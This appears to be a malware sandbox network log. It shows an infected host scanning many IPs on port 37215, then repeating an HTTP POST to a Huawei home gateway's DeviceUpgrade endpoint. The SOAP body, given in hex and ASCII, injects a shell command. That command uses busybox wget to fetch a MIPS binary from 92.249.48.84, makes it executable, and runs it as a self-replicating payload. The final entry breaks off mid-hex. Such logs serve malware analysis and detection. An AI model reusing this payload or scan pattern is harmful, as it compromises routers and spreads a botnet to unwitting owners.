Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 197.116.5.11:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 41.253.105.9:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 197.230.99.181:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 197.232.27.72:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 156.130.109.31:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 156.181.146.159:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 197.122.101.107:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 41.121.101.198:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 156.187.237.227:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 197.202.250.81:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 197.36.11.5:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 156.52.254.226:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 41.130.61.238:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 197.85.184.209:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 156.70.69.38:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 197.107.86.175:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 156.233.71.157:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 197.171.223.206:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 41.177.64.227:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 156.69.169.167:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 156.95.227.106:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 156.128.212.250:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 156.231.137.251:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 197.83.176.191:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 41.183.199.175:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 197.72.42.249:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 41.52.25.164:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 197.105.68.179:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 156.0.169.100:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 156.197.153.229:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 156.174.47.184:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 197.236.127.100:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 156.154.103.182:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 156.87.187.247:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 41.161.201.97:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 41.124.141.206:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 41.136.140.9:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 156.135.79.209:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 156.182.180.156:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 197.56.18.143:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 41.80.18.233:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 197.160.254.57:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 197.68.190.122:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 156.109.177.62:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 41.200.242.80:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 41.202.254.67:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 197.242.203.95:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 156.197.201.243:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 156.43.144.69:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 41.223.111.225:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 197.215.34.233:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 197.198.219.67:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 156.251.246.192:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 197.223.66.106:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 156.161.9.51:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 41.241.120.25:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 156.153.68.178:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 41.17.7.150:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 156.24.186.176:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 156.229.124.10:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 41.145.161.255:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 41.87.0.17:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 197.7.217.193:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 41.101.116.195:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 197.240.162.192:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 41.181.190.131:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 41.8.112.209:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 41.45.22.200:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 156.179.195.80:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 197.75.7.29:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 197.49.237.51:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 41.242.62.133:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 41.126.150.240:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 156.225.15.12:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 156.61.209.3:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 41.22.58.1:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 41.221.47.245:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 41.154.248.177:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 197.251.117.100:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 41.237.143.67:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 41.146.0.114:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 156.171.100.229:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 197.218.244.51:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 41.90.165.131:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 41.202.227.240:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 156.242.146.169:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 156.224.101.212:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 41.11.232.246:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 41.190.137.8:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 156.63.22.31:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 156.137.68.209:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 41.99.149.88:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 197.48.189.145:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 156.231.244.103:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 197.247.3.210:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 197.4.63.119:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 197.118.165.6:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 197.75.139.226:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 41.31.45.15:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 41.212.106.236:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 156.149.6.182:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 41.97.51.122:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 41.144.26.82:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 41.74.34.148:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 156.233.53.44:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 156.161.21.237:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 197.77.122.8:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 156.50.217.167:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 156.189.29.148:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 197.236.224.102:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 41.172.252.196:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 41.118.5.96:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 156.160.242.68:37215
Source: global traffic	TCP traffic: 192.168.2.14:53786 -> 156.195.78.105:37215

Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 68 75 61 77 65 69 2e 73 65 6c 66 72 65 70 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 92.249.48.84 -l /tmp/.hiroshima -r /596a96cc7bf9108cd896f33c44aedc8a/db0fa4b8db0333367e9bda3ab68b8042.mips; /bin/busybox chmod 777 * /tmp/.hiroshima; /tmp/.hiroshima huawei.selfrep)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Content-Length: 430Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 39 32 2e 32 34 39 2e 34 38 2e 38 34 20 2d 6c 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 20 2d 72 20 2f 35 39 36 61 39 36 63 63 37 62 66 39 31 30 38 63 64 38 39 36 66 33 33 63 34 34 61 65 64 63 38 61 2f 64 62 30 66 61 34 62 38 64 62 30 33 33 33 33 36 37 65 39 62 64 61 33 61 62 36 38 62 38 30 34 32 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 3b 20 2f 74 6d 70 2f 2e 68 69 72 6f 73 68 69 6d 61 